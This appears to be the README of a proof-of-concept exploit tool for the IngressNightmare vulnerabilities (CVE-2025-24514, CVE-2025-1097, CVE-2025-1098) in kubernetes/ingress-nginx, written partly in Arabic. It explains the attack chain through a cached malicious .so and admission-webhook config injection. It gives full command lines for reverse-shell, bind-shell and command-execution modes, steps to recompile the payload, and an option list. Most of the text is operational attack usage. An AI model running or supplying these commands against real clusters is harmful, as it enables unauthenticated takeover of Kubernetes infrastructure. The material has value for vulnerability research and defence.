
IngressNightmare POC. أول استغلال في العالم للتنفيذ عن بُعد غير الأعمى بأساليب استغلال متقدمة متعددة. يسمح بالاستغلال على القرص. CVE-2025-24514 - حقن auth-url، CVE-2025-1097 - حقن auth-tls-match-cn، CVE-2025-1098 – حقن mirror UID -- جميعها متوفرة.
تسمح هذه الثغرة للمهاجمين عن بُعد بتنفيذ تعليمات برمجية عشوائية على التثبيتات المتأثرة من kubernetes/ingress-nginx. لا يتطلب استغلال هذه الثغرة أي مصادقة. يكمن الخلل المحدد في معالجة طلبات HTTP.
يتم تشغيلها عن طريق إرسال طلبين. الأول هو طلب طويل مخزّن مؤقتًا
إلى خادم NGINX في نفس البود، ثم سيقوم nginx بتخزينه
كملف مؤقت. الطلب الثاني هو طلب إلى
خادم webhook للتحقق من القبول (admission validating webhook)، والذي سيؤدي إلى
قيام webhook القبول بكتابة إعداد nginx مؤقت يحتوي على
التوجيه ssl_engine badso_location;. ثم سيقوم webhook القبول
بتشغيل nginx -t للتحقق من الإعداد، مما سيؤدي إلى
تشغيل تعليمات برمجية عن بُعد في سياق خادم NGINX.
# reverse shell
./ingressnightmare -m r -r ${ur_ip} -p ${port} -i ${INGRESS} -u ${UPLOADER}
# bind shell # maybe lost?
./ingressnightmare -m b -b ${port} -i ${INGRESS} -u ${UPLOADER}
# blind command execution
./ingressnightmare -m c -c 'date >> /tmp/pwn; echo eson pwn >> /tmp/pwn' -i ${INGRESS} -u ${UPLOADER}
# for CVE-2025-24514 - auth-url injection
# This is the default mode
./ingressnightmare -m c -c 'your command' -i ${INGRESS} -u ${UPLOADER} --is-auth-url
# same as
./ingressnightmare -m c -c 'your command' -i ${INGRESS} -u ${UPLOADER}
# for CVE-2025-1097 - auth-tls-match-cn injection,
./ingressnightmare -m c -c 'your command' -i ${INGRESS} -u ${UPLOADER} --is-match-cn --auth-secret-name ${secret_name}
# for CVE-2025-1098 – mirror UID injection -- all available
./ingressnightmare -m c -c 'your command' -i ${INGRESS} -u ${UPLOADER} --is-mirror-uid
## Advanced usage
# Send only admission request
./ingressnightmare -m c -i ${INGRESS} --only-admission --only-admission-file /tmp/evil.so # --is-auth-url # --is-match-cn # --is-mirror-uid ...
# Send only upload request loop
./ingressnightmare -m c -c "your command" -u ${UPLOADER} --only-upload
# dry run mode
## dry run to lookup payload so
./ingressnightmare -m c -c 'your command' -u ${UPLOADER} --dry-run
# dump with > /tmp/evil.so
## dry run to lookup raw nginx admission
./ingressnightmare -m c -i ${INGRESS} --only-admission --only-admission-file /tmp/evil.so --dry-run # --is-auth-url # --is-match-cn # --is-mirror-uid ...
## verbose mode
./ingressnightmare -m c -c 'your command' -i ${INGRESS} -u ${UPLOADER} -v # debug
./ingressnightmare -m c -c 'your command' -i ${INGRESS} -u ${UPLOADER} -vv # trace
./ingressnightmare -vv # -i ${INGRESS} -u ${UPLOADER} # -m c -c 'your command'
## if get error like Exec format error, that means the payload is not compatible with the target system.
## It maybe caused by the target system is arm64, but the payload is x86_64.
## Also the libc version and kernel version may cause this error.
## This exp Works on 5.10 kernel without libc.
## recompile c
./ingressnightmare show-c > exp.c
gcc -fPIC -nostdlib -ffreestanding -fno-builtin -o danger.so exp.c -shared
./ingresnightmare -m c -c 'your command' --so ./danger.so -i ${INGRESS} -u ${UPLOADER}
خيارات الاستغلال معقدة للغاية لدرجة أنني اضطررت إلى تجميعها في عدة مجموعات.
[
// Set Targets Groups
{
option: "ingress-webhook-url", "i",
example: "https://ingress-nginx-controller-admission.ingress-nginx.svc.cluster.local:443",
description: "ingress webhook url"
},
{
option: "upload-url", "u",
example: "http://ingress-nginx-controller.ingress-nginx.svc.cluster.local:80",
description: "upload url"
},
// Set Exploit Method for which CVE
{
option: "is-auth-url", "a",
example: "true",
description: "CVE-2025-24514: using auth-url to attack (default)"
},
{
option: "is-match-cn", "A",
example: "false",
description: "CVE-2025-1097: using auth-tls-match-cn to attack (not default)"
},
{
option: "auth-secret-name", "U",
example: "kube-system/cilium-ca",
description: "if using auth-tls-match-cn, secret name is required, example: kube-system/cilium-ca"
},
{
option: "is-mirror-with-uid", "M",
example: "false",
description: "CVE-2025-1098: using mirror with uid"
},
// Set Exploit Mode for reverse shell / bind shell / command
{
option: "mode", "m",
example: "r",
description: "mode reverse-shell(r)/bind-shell(b)/command(c)"
},
{
option: "reverse-shell-ip", "r",
example: "192.168.1.100",
description: "reverse shell ip"
},
{
option: "reverse-shell-port", "p",
example: "4444",
description: "reverse shell port"
},
{
option: "bind-shell-port", "b",
example: "4444",
description: "bind shell port"
},
{
option: "command", "c",
example: "id",
description: "command"
},
// Debug modes
{
option: "verbose", "v",
example: "-vv",
description: "verbose output (debug is -v ; trace is -vv)"
},
{
option: "dry-run", "d",
example: "true",
description: "dry run and dump payload"
},
// test Only Upload Thread / Only Admission Thread modes
{
option: "only-admission", "o",
example: "true",
description: "only admission"
},
{
option: "only-admission-file", "f",
example: "/path/to/file",
description: "only admission file"
},
{
option: "only-upload", "O",
example: "true",
description: "only upload"
},
// Set guessed PID and FD ranges
{
option: "pid-range-start", "S",
example: "5",
description: "pid range start"
},
{
option: "pid-range-end", "E",
example: "40",
description: "distance to pid range end"
},
{
option: "fd-range-start", "s",
example: "3",
description: "fd range start"
},
{
option: "fd-range-end", "e",
example: "26",
description: "distance fd range end"
},
// Advanced Payload: custom so file or json template
{
option: "so", "",
example: "/path/to/custom.so",
description: "custom so file exploit, if u get Exec format error, please recompile the so file from c code. ps: execute `./ingressnightmare show-c` to get source code"
},
{
option: "validate-json-template", "t",
example: "template.json",
description: "validate json template, using foobar as placeholder to filepath"
}
]
https://github.com/user-attachments/assets/415d6b81-b907-4aaa-bd99-18640bd64b2b
sequenceDiagram
box EvilPod
participant hacker
end
box IngressControllerPod
participant IngressControllerAdmission
participant IngressControllerNginx
end
hacker->>IngressControllerNginx: evil.so file with fake http request length
activate IngressControllerNginx
activate hacker
hacker->>IngressControllerAdmission: admission injection (please load ../../../../../../proc/1/fd/3 )
activate IngressControllerAdmission
Note right of IngressControllerAdmission: trying to execute nginx -t -c tempXXX1.cfg
Note right of IngressControllerAdmission: nginx -t loading ssl engine /proc/1/fd/3
Note right of IngressControllerAdmission: Execute Failed, make response with stderr
IngressControllerAdmission-->> hacker: Error No such file
deactivate IngressControllerAdmission
Note left of hacker: Brute forcing the PID and fd
Note right of IngressControllerNginx: caching the request ...
hacker->>IngressControllerAdmission: admission injection (please load ../../../../../../proc/1/fd/3 )
activate IngressControllerAdmission
Note right of IngressControllerAdmission: trying to execute nginx -t -c tempXXX1.cfg
Note right of IngressControllerAdmission: nginx -t loading ssl engine /proc/20/fd/18
Note right of IngressControllerAdmission: Execute success!, so loaded!
IngressControllerAdmission-->> hacker: Reponse Symbol not found/With so code injected
deactivate IngressControllerAdmission
deactivate hacker
IngressControllerNginx -->> hacker: Timeout...
deactivate IngressControllerNginx